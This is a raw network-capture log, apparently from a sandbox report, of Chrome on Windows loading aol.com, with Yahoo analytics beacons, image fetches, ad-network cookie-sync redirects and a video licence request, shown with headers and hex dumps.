2024-05-23 22:35:15 UTC	1058	IN	HTTP/1.1 200 OK content-length: 0 content-type: text/plain x-envoy-upstream-service-time: 82 date: Thu, 23 May 2024 22:35:14 GMT server: ATS Referrer-Policy: no-referrer-when-downgrade Age: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Set-Cookie: A1=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:15 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=Lax; Secure; HttpOnly Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:15 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly Set-Cookie: A1S=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Domain=.yahoo.com; Path=/; SameSite=Lax; Secure

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
652	192.168.2.6	50486	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:14 UTC	1593	OUT	POST /p?s=1197803361&t=P2OLh1udjKSXZulj,0.17629055197317145&_I=&_AO=0&_NOL=1&_R=&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04test%03aol-acookie-control%2Caol-aa-1%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03Fl1XNsPA7N12cgoJ%04_w%03www.aol.com%2F%04navtype%03server%04st_sec%03us.aolportal%04ver%03td-app-aol%04pl2%03amp-bon%04pt%03home%04p_sec%03AOL%04p_subsec%03homepage%04layout%03aolgrid%04pct%03aol%04site%03aol%04mrkt%03us%04lang%03en-US%04colo%03eu-west-1%04_yrid%0330rmpplj4vh3m%04_rid%0330rmpplj4vh3m%04abk%03%04etrg%03hide%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstop%04A_jse%03window.blur%04A_prets%031716503699%04A_prems%03217%04_E%03dwell%04_ts%031716503703%04_ms%03920%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031280x907%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:15 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:15 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:15 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:15 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
653	192.168.2.6	50488	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:15 UTC	795	OUT	GET /images/dims?quality=80&thumbnail=300%2C300%2Cauto&image_uri=https%3A%2F%2Fmedia.zenfs.com%2Fen%2Faol_moneywise_380%2Faf9a31a3dd512cf9b86e4fb99c46d159&client=76f99bdb8f78cd44cc0b&signature=e1bfd95079bd35341712994f48484b84163a55ee HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:15 UTC	1510	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 35620 Cache-Control: public, max-age=2592000 Cache-Tag: 346373278619679444766418607291397581806,381978731929337284473205412847815312299,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21934-LGA cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_latency: 33 Content-Type: image/jpeg Date: Thu, 23 May 2024 22:35:15 GMT Edge-Cache-Tag: 346373278619679444766418607291397581806,381978731929337284473205412847815312299,ae7a14591aaf8d474cdb3f92111c923e Etag: "b67482f40483434d12ceda5005c24f2d" Expiration: expiry-date="Wed, 20 Nov 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Thu, 23 May 2024 12:41:31 GMT NEL: {"report_to": "default", "max_age": 43200, "include_subdomains": true, "failure_fraction": 1.0, "success_fraction": 0.001} Report-To: {"group": "default", "max_age": 43200, "include_subdomains": true, "endpoints":[{"url": "https://report.edgecast.com/nel/v0?s=QlcUD1xRUxNXDlABC1NW", "priority": 1}, {"url": "https://nelcollector.sre.ecsvc.net/report", "priority": 2}]} Server: ECAcc (dcd/7D5D) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=300,height=300,bytes=15071,owidth=728,oheight=400,obytes=40464,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 0 X-Served-By: cache-lga21934-LGA X-Timer: S1716468096.558935,VS0,VE33 Content-Length: 15071 Connection: close
2024-05-23 22:35:15 UTC	14875	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 07 07 07 07 07 07 08 09 09 08 0b 0c 0b 0c 0b 10 0f 0e 0e 0f 10 19 12 13 12 13 12 19 25 17 1b 17 17 1b 17 25 21 28 21 1e 21 28 21 3b 2f 29 29 2f 3b 45 3a 37 3a 45 53 4a 4a 53 69 63 69 89 89 b8 01 07 07 07 07 07 07 08 09 09 08 0b 0c 0b 0c 0b 10 0f 0e 0e 0f 10 19 12 13 12 13 12 19 25 17 1b 17 17 1b 17 25 21 28 21 1e 21 28 21 3b 2f 29 29 2f 3b 45 3a 37 3a 45 53 4a 4a 53 69 63 69 89 89 b8 ff c2 00 11 08 01 2c 01 2c 03 01 22 00 02 11 01 03 11 01 ff c4 00 34 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 04 05 02 03 06 07 01 00 08 01 00 02 03 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 00 03 04 05 06 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 fd 13 e7 91 11 76 51 dd 78 2d a0 3a d6 63 Data Ascii: JFIF%%!(!!(!;/))/;E:7:ESJJSici%%!(!!(!;/))/;E:7:ESJJSici,,"4vQx-:c
2024-05-23 22:35:15 UTC	196	IN	Data Raw: 72 83 6a b7 e9 2a 5b 85 95 bc 2b 8c 8e a1 32 83 1f 71 ab 27 d9 78 7a 9d 89 2d 4f 03 a8 bb 7e e1 67 8c 7c 72 54 04 4a 1c 2d a6 0f ba f2 2a b6 da 9b 87 1e e1 45 50 0d ba 84 d6 38 37 9d 85 02 38 4f 37 ed f0 4b 7b a0 c3 b0 16 1f 05 37 bb ac 5d 3e 99 ec 53 7c b0 65 ae 02 eb 4d 20 03 9b 5a 26 7b 2a 6d d0 e8 61 89 0f 09 83 66 b4 92 e6 8f 58 4c 23 63 45 d7 5e 68 06 f4 df 67 04 1a e1 90 44 7c b1 84 40 ed c6 3c cf 12 c6 b9 3a a1 30 6e eb 7e 14 55 6d 83 a4 92 25 0e 58 83 bd d7 2b 5d 69 57 30 56 e7 e0 b8 e1 2b 7f 86 f2 b0 50 21 e0 87 03 82 11 d1 d0 94 df 30 7e ac 13 ea a9 b8 c0 b9 6c 95 ff d9 Data Ascii: rj[+2q'xz-O~g\|rTJ-EP878O7K{7]>S\|eM Z&{*mafXL#cE^hgD\|@<:0n~Um%X+]iW0V+P!0~l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
654	192.168.2.6	50490	151.101.1.44	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:15 UTC	669	OUT	GET / HTTP/1.1 Host: tsdtocl.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:15 UTC	602	IN	HTTP/1.1 200 OK Connection: close Content-Length: 786 x-amz-id-2: R1Iqjljq7+7PUDky3o25dK2JK3I75S+qdhYIZq8FlW7EIGps4AEZgrUPsjYC/uRpOizWCg8Elmc= x-amz-request-id: 9MBH3032FERKB92H x-amz-replication-status: COMPLETED Last-Modified: Wed, 05 Jan 2022 19:36:57 GMT ETag: "fb5a4594b9ffef704d61bb6e6f80f145" x-amz-version-id: Qk4nobcRRphLiqVWi0NeSs0dand8kap0 Content-Type: text/html Server: AmazonS3 Accept-Ranges: bytes Date: Thu, 23 May 2024 22:35:15 GMT Via: 1.1 varnish Age: 1957 X-Served-By: cache-nyc-kteb1890080-NYC X-Cache: HIT X-Cache-Hits: 74 X-Timer: S1716503715.215349,VS0,VE0
2024-05-23 22:35:15 UTC	786	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 3e 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 22 74 73 64 74 6f 63 6c 22 2c 74 3d 22 21 2d 23 40 22 2c 61 3d 32 3b 74 72 79 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 20 74 28 61 2c 6e 29 7b 72 65 74 75 72 6e 20 6e 2e 6e 61 6d 65 73 70 61 63 65 3d 65 2c 6e 2e 69 64 3d 61 2c 70 61 72 65 6e 74 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 6e 29 2c 22 2a 22 29 2c 6e 7d 2c 72 3d 66 75 6e 63 74 69 6f 6e 20 65 28 72 2c 73 2c 63 29 7b 74 72 79 7b 69 66 28 76 6f 69 64 20 30 3d 3d 3d 63 7c 7c 76 6f 69 64 20 30 3d 3d 3d 72 7c 7c 76 6f 69 64 20 30 3d 3d 3d 73 29 74 68 72 6f 77 20 30 3b 76 61 72 20 69 3d Data Ascii: <!doctype html><html><head><script>!function(){var e="tsdtocl",t="!-#@",a=2;try{var n=function t(a,n){return n.namespace=e,n.id=a,parent.postMessage(JSON.stringify(n),"*"),n},r=function e(r,s,c){try{if(void 0===c\|\|void 0===r\|\|void 0===s)throw 0;var i=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
655	192.168.2.6	50497	151.101.2.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:15 UTC	1363	OUT	GET /license/v1/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/04cd0196-5ce1-4316-ad15-e975ff605a08?fastly_token=NjY1MDFjZDZfNDU5OWI4ZTU0ZmZiZmJlZGY3MWE5NjcxYzU2NWZhYzkyNDczOTIyMzE4MjYxOGRlZWJkMDcyMzBkMmNmNTBlMA%3D%3D&bcov_auth=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w HTTP/1.1 Host: manifest.prod.boltdns.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://s.yimg.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:15 UTC	570	IN	HTTP/1.1 200 OK Connection: close Content-Length: 16 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Bcov-Jwt-Validity: success Bcov-Request-Id: c2135977-9d39-461b-90e2-f17d16eee158 Cache-Control: private, max-age=136 Content-Type: application/octet-stream X-Hosted-On: Gantry X-Powered-By: BC X-Powered-From: us-east-1a Accept-Ranges: bytes Date: Thu, 23 May 2024 22:35:15 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890098-NYC X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1716503715.435626,VS0,VE46 X-Device-Group: desktop-chrome
2024-05-23 22:35:15 UTC	16	IN	Data Raw: d3 fa 67 b1 7f 8e d3 fb e7 62 f7 97 bd 9c 04 e1 Data Ascii: gb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
656	192.168.2.6	50496	208.93.169.131	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:15 UTC	1070	OUT	GET /bh/rtset?ev=AANRF07Mn4kAABWNJQroRw&do=add&pid=558502&rurl=https%3A%2F%2Fmatch.prod.bidr.io%2Fcookie-sync%3Fgdpr%3D0%26bee_sync_partners%3Dsas%252Cpm%26bee_sync_current_partner%3Dpp%26bee_sync_initiator%3Dadx%26bee_sync_hop_count%3D2&gdpr=0 HTTP/1.1 Host: bh.contextweb.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: V=7WXU1ZUhF2Kx; VP=part_7WXU1ZUhF2Kx; INGRESSCOOKIE=c5b45f34918a01ee; pb_rtb_ev=3-1rj5\|7TZ.0.1\|7bq.0.1; pb_rtb_ev_part=3-1rj5\|7TZ.0.1\|7bq.0.1
2024-05-23 22:35:15 UTC	1393	IN	HTTP/1.1 302 Found p3p: policyref="/bh/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" accept-ch: Sec-CH-UA,Sec-CH-UA-Arch,Sec-CH-UA-Bitness,Sec-CH-UA-Mobile,Sec-CH-UA-Model,Sec-CH-UA-Platform,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Platform-Version cw-server: bh-deployment-77c5966d9-nb8fh cache-control: private, max-age=0, no-cache, no-store expires: -1 content-language: en-US set-cookie: V=7WXU1ZUhF2Kx;Version=0;Secure;Path=/;Domain=.contextweb.com;Expires=Sun, 18-May-2025 22:35:15 GMT;Max-Age=31104000;SameSite=None set-cookie: VP=part_7WXU1ZUhF2Kx;Version=0;Path=/;Domain=.contextweb.com;Max-Age=31104000;Secure;Expires=Sun, 18-May-2025 22:35:15 GMT;SameSite=None;Partitioned set-cookie: pb_rtb_ev=3-1rj5\|7bq.0.1\|7TZ.0.1\|7dN.0.AANRF07Mn4kAABWNJQroRw;Version=0;Secure;Path=/;Domain=.contextweb.com;Expires=Fri, 23-May-2025 22:35:15 GMT;Max-Age=31536000;SameSite=None set-cookie: pb_rtb_ev_part=3-1rj5\|7bq.0.1\|7TZ.0.1\|7dN.0.AANRF07Mn4kAABWNJQroRw;Version=0;Path=/;Domain=.contextweb.com;Max-Age=31536000;Secure;Expires=Fri, 23-May-2025 22:35:15 GMT;SameSite=None;Partitioned location: https://match.prod.bidr.io/cookie-sync?gdpr=0&bee_sync_partners=sas%2Cpm&bee_sync_current_partner=pp&bee_sync_initiator=adx&bee_sync_hop_count=2&ev=AANRF07Mn4kAABWNJQroRw&pid=558502&do=add&gdpr=0 transfer-encoding: chunked server: Jetty(10.0.14) connection: close
2024-05-23 22:35:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
657	192.168.2.6	50494	77.245.57.72	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:15 UTC	985	OUT	GET /user-sync?zone=220412&t=image&gdpr=0&gdpr_consent=&us_privacy=1YNN&r=https%3A%2F%2Fssp.disqus.com%2Fmatch%3Fbidder%3D41%26buyeruid%3D%7BUID%7D%26r%3DCid1YS1kM2E1YTU2Ny04OWRkLTMzZWQtYmUyMC00MGNiYjMwODcwODEiBDFZTk4qjAFodHRwczovL3Bicy55YWhvby5jb20vc2V0dWlkP2JpZGRlcj16ZXRhX2dsb2JhbF9zc3AmZ2Rwcj0wJmdkcHJfY29uc2VudD0mZ3BwPURCQUEmZ3BwX3NpZD0tMSZmPWkmdWlkPXVhLWQzYTVhNTY3LTg5ZGQtMzNlZC1iZTIwLTQwY2JiMzA4NzA4MTICEik4Ag== HTTP/1.1 Host: sync.adkernel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:15 UTC	609	IN	HTTP/1.1 302 Found Server: nginx Date: Thu, 23 May 2024 22:35:15 GMT Content-Length: 0 Connection: close Set-Cookie: ADKUID=A8480325157553098860; Expires=Sat, 22 Jun 2024 22:35:15 GMT; Domain=.adkernel.com; Secure; SameSite=None Cache-Control: no-store Location: https://ssp.disqus.com/match?bidder=41&buyeruid=A8480325157553098860&r=Cid1YS1kM2E1YTU2Ny04OWRkLTMzZWQtYmUyMC00MGNiYjMwODcwODEiBDFZTk4qjAFodHRwczovL3Bicy55YWhvby5jb20vc2V0dWlkP2JpZGRlcj16ZXRhX2dsb2JhbF9zc3AmZ2Rwcj0wJmdkcHJfY29uc2VudD0mZ3BwPURCQUEmZ3BwX3NpZD0tMSZmPWkmdWlkPXVhLWQzYTVhNTY3LTg5ZGQtMzNlZC1iZTIwLTQwY2JiMzA4NzA4MTICEik4Ag==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
658	192.168.2.6	50491	152.199.23.180	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:15 UTC	1239	OUT	GET /tag/opus-frame.html?referrer=https%3A%2F%2Fwww.aol.com%2F&tbla_id=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14&axids=gam%3Dy-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A%26dv360%3DeS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B%26ydsp%3Dy-Q1anlJpE2uLNXvog9cXvHne26mx9Lj2d~A%26tbla%3Dy-hQJOddZE2uJ.k4E_AdFKaRd4VpIL_y_h~A&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN&reset_idsync=1 HTTP/1.1 Host: opus.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; IDSYNC="19cw~2ila:19e0~2ila:18z8~2ila:19ea~2ila:19e7~2ila"
2024-05-23 22:35:15 UTC	547	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 20338 Content-Security-Policy: default-src https:; script-src https: 'unsafe-inline'; style-src https: 'unsafe-inline' Content-Type: text/html Date: Thu, 23 May 2024 22:35:15 GMT Etag: "19720d3a285aba8024b11fc9955795fe" Last-Modified: Thu, 16 May 2024 16:54:02 GMT Server: ECAcc (lhd/35A3) Vary: Accept-Encoding x-amz-id-2: Gd9c0QWpu2Nv4st5k1pgDkxbQtwi6kEgxxoAK7fj8Y94LW6cuuckX6TZdOFL9KCuFSvy/4/Hz6c= x-amz-request-id: 5P83PPY6PMAWJWV9 X-Cache: HIT Content-Length: 5503 Connection: close
2024-05-23 22:35:15 UTC	5503	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 73 63 72 69 70 74 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 3e Data Ascii: <!DOCTYPE html><html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><meta name="viewport" content="width=device-width,initial-scale=1"><script defer="defer">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
659	192.168.2.6	50500	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:15 UTC	2195	OUT	POST /p?s=1197803361&t=u0KxGfFOVhJQFso1,0.019589082175358152&_I=&_AO=0&_NOL=1&_R=&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04test%03aol-acookie-control%2Caol-aa-1%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03Fl1XNsPA7N12cgoJ%04_w%03www.aol.com%2F%04navtype%03server%04st_sec%03us.aolportal%04ver%03td-app-aol%04pl2%03amp-bon%04pt%03home%04p_sec%03AOL%04p_subsec%03homepage%04layout%03aolgrid%04pct%03aol%04site%03aol%04mrkt%03us%04lang%03en-US%04colo%03eu-west-1%04_yrid%0330rmpplj4vh3m%04_rid%0330rmpplj4vh3m%04abk%03%04A_utm%03%7B%22perf_lcp%22%3A26282%2C%22perf_lcp_elmt%22%3A%22img%22%2C%22perf_lcp_id%22%3A%22dl__slide__img--desktop%20wafer-img-native%20wafer-img-loaded%22%2C%22perf_lcp_slk%22%3A%22Israel%20releases%20video%20of%20female%20soldiers%20being%20seized%20by%20Hamas%20on%20Oct.%207%22%2C%22perf_lcp_url%22%3A%22https%3A%2F%2Fs.aolcdn.com%2Fimages%2Fdims%3Ff [TRUNCATED] Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
